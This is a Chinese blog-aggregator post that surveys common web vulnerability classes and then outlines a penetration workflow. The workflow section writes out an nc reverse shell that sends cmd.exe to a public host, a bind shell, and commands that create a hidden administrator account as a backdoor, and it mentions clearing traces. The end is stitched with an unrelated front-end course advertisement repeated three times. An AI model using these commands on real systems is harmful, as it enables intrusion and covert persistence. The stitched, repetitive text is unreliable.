Web渗透测试---Web TOP 10 漏洞

Posted Destiny,635

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web渗透测试---Web TOP 10 漏洞相关的知识,希望对你有一定的参考价值。

文章目录


前言

常见的漏洞有注入漏洞,文件上传漏洞,文件包含漏洞,命令执行漏洞,代码执行漏洞,跨站脚本(XSS)漏洞,SSRF漏洞,XML外部实体注入漏洞(XXE),反序列化漏洞,解析漏洞等,因为这些安全漏洞的存在,可能会被黑客利用从而影响业务,黑客通过一系列的攻击手段可以发现目标的安全弱点,若是安全弱点被成功利用将导致目标被黑客控制,从而威胁到目标资产或正常功能的使用,最终导致业务受到影响


一、注入漏洞

注入漏洞由于其严重性和危害性一直位居Web TOP 10 漏洞的第一,常见的注入有: SQL、LDAP、OS命令,ORM和OGNL。用户可以通过任何可输入的点输入构造的恶意代码,若应用程序对用户的输入过滤不严,一旦将输入的恶意代码作为命令或查询的一部分发送到解析器,则可能会导致注入漏洞的产生
如SQL注入,攻击者通过浏览器或者其他客户端,将恶意SQL语句注入到参数中,而网站应用程序对参数的值没有进行合法性校验和过滤,直接将恶意SQL语句带入数据库并进行执行,最后导致数据库中的数据被破坏和泄露

二、跨站脚本(xss)漏洞

XSS漏洞全称是跨站脚本漏洞,为了不和前端中的层叠样式表CSS重名,将跨站脚本攻击漏洞缩写改为XSS,XSS漏洞允许用户将恶意代码植入到Web页面中,当其他用户访问此页面的时候,植入的恶意代码会被执行,通过XSS漏洞可以获取用户的信息,如用户登录常用的Cookie信息,可以通过过XSS蠕虫进行信息传播,可以在客户端中植入木马,可以结合其他漏洞攻击服务器,在服务器中植入木马

三、文件上传漏洞

文件上传漏洞一般发生在具有上传功能的应用中,如果应用程序对用户的上传文件没有控制或者存在缺陷,攻击者可以利用应用上传功能,上传木马和病毒文件到服务器中,对服务器进行控制
产生的原因:应用中存在上传功能,但是上传的文件没有经过严格的合法性校验,或者校验函数存在缺陷,如php中的preg_relpace()等函数,导致可以上传木马文件到服务器
直接上传恶意代码到服务器上,可能会造成服务器的网页篡改,网站挂马,服务器被远程控制和被安装后门等严重的后果
文件上传落地主要是通过前端JS绕过、文件名绕过和Content-Type绕过等几种方式进行恶意代码上传

四、文件包含漏洞

文件包含函数包含的文件参数没有经过过滤或者严格的定义,并且参数可以被用户控制,就可能包含非预期的文件,如果文件中存在恶意代码,无论文件时什么样的后缀类型,文件内的恶意代码都会被解析执行,就导致了文件包含漏洞的产生。
文件包含漏洞可能会造成服务器的网页篡改、网站挂马、远程控制服务器、安装后门等危害。

五、命令执行漏洞

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数可以被用户控制,就可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令

六、代码执行漏洞

应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP的eval函数,可以将函数中的参数当作PHP代码来执行,如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行

七、XML外部实体(XXE)漏洞

XML外部实体(XML External Entity XXE)产生的原因时应用程序解析XML时,没有过滤外部实体的加载,导致了恶意的外部文件加载,造成命令执行、文件读取、内网扫描、内网应用攻击等危害

八、反序列化漏洞

不同语言,一般常见在前端和后端进行数据传输,为了保证数据有效的存储和传递,同时不丢失数据的类型和结构,经常要序列化和反序列化的函数对数据进行处理
序列化:返回字符串,此字符串包含了标识value的字节流,可以存储于任何地方
反序列化:对单一的已序列化的变量进行操作,将其转换回原来的值
这两个过程结合,可以轻松的存储和传输数据,使程序更具有维护性,但是不全的反序列化回导致远程代码执行,即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括重播攻击、注入攻击和特权升级攻击。

九、 SSRF漏洞

SSRF全程是服务端请求伪造(Server-Side Request Forge,SSRF)漏洞,攻击者利用SSRF漏洞通过服务器发起伪造请求,这样就可以访问内网的数据,进行内网信息探测或者内网漏洞利用。
SSRF漏洞形成的原因是应用程序存在可以从其他服务器获取数据的功能,但是服务器的地址没有进行严格的过滤,导致应用程序可以访问任意的URL连接,攻击者通过进行构造URL连接,可以利用SSRF漏洞进行以下攻击

  1. 可以通过服务器获取内网主机、端口和Banner信息
  2. 对内网的应用程序进行攻击,如Redis、Jboss等
  3. 利用file协议读取文件
  4. 可以攻击内网程序并造成溢出

十、解析漏洞

Web容器解析漏洞会将其他类型的文件都当作脚本语言的文件进行解析,执行里面的代码,Web容器解析漏洞产生的原因是Web容器存在漏洞,导致在解析恶意构造的文件时,无论此文件是什么类型的文件,都会执行里面的代码
Web容器解析漏洞的危害极大,会造成服务器被远程控制,网页篡改,网站挂马,植入后门等危害
一般解析漏洞是配合文件上传的功能进行利用,常见的Web容器有IIS、nginx、Apache、Tomcat和Lighttpd等。

web渗透是啥?

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
参考技术A 黑客技术里的渗透是指黑客通过非法途径入侵网站系统,拿到网站的WebShell进行非法操作。也指信息安全风险评估
Web渗透经典流程:判断脚本系统,判断数据库类型——>寻找注入点——>猜解数据库表名——>猜解字段名——>猜解用户名和密码——>寻找后台地址登录,获得网站管理权限(webshell)
黑客技术里的渗透:
风险评估(Risk Assessment)存在于很多行业,但在IT业,独指信息安全风险评估,指依据有关信息技术标准,对信息系统及由其处理、传输和存储的信息的保密性、完整性和可用性(CIA)等安全属性进行科学、公正的综合评估的过程。它要评估信息系统的脆弱性、信息系统面临的威胁以及脆弱性被威胁源利用后所产生的实际负面影响,并根据安全事件发生的可能性和负面影响的程度来识别信息系统的安全风险。
渗透测试(Penetration Testing)则是从一个攻击者的角度来检查和审核一个网络系统的安全性的过程。这本来是风险评估的一部分(存在于执行阶段),不应该与风险评估相提并论。但风险评估是一个过于庞大和复杂的体系,在如此短的篇幅里不能够完全详述,所以把渗透测试这一个富有争议性、纯技术的并且也是可以从风险评估中分离出来的内容单独分离了出来。
参考技术B Web前端的学习时长和课程内容是息息相关的,相对来说课程内容涵盖越广学习的时间也就越久,优就业的Web前端课程学习时长为24周,其中包括专业技能学习和就业指导两部分内容。整体来看的话,Web前端开发需要学习的内容还是比较多的,如果想要学到一定程度大概都是需要5个月左右的 参考技术C Web前端的学习时长和课程内容是息息相关的,相对来说课程内容涵盖越广学习的时间也就越久,优就业的Web前端课程学习时长为24周,其中包括专业技能学习和就业指导两部分内容。整体来看的话,Web前端开发需要学习的内容还是比较多的,如果想要学到一定程度大概都是需要5个月左右的 参考技术D Web前端的学习时长和课程内容是息息相关的,相对来说课程内容涵盖越广学习的时间也就越久,优就业的Web前端课程学习时长为24周,其中包括专业技能学习和就业指导两部分内容。整体来看的话,Web前端开发需要学习的内容还是比较多的,如果想要学到一定程度大概都是需要5个月左右的

以上是关于Web渗透测试---Web TOP 10 漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Web渗透测试—Web漏洞

常见36种WEB渗透测试漏洞描述及解决方法-文件包含漏洞

web渗透是啥?

掌握渗透测试,从Web漏洞靶场搭建开始

渗透测试常用WEB安全漏洞扫描工具集合

常见36种WEB渗透测试漏洞描述及解决方法-不安全HTTP方法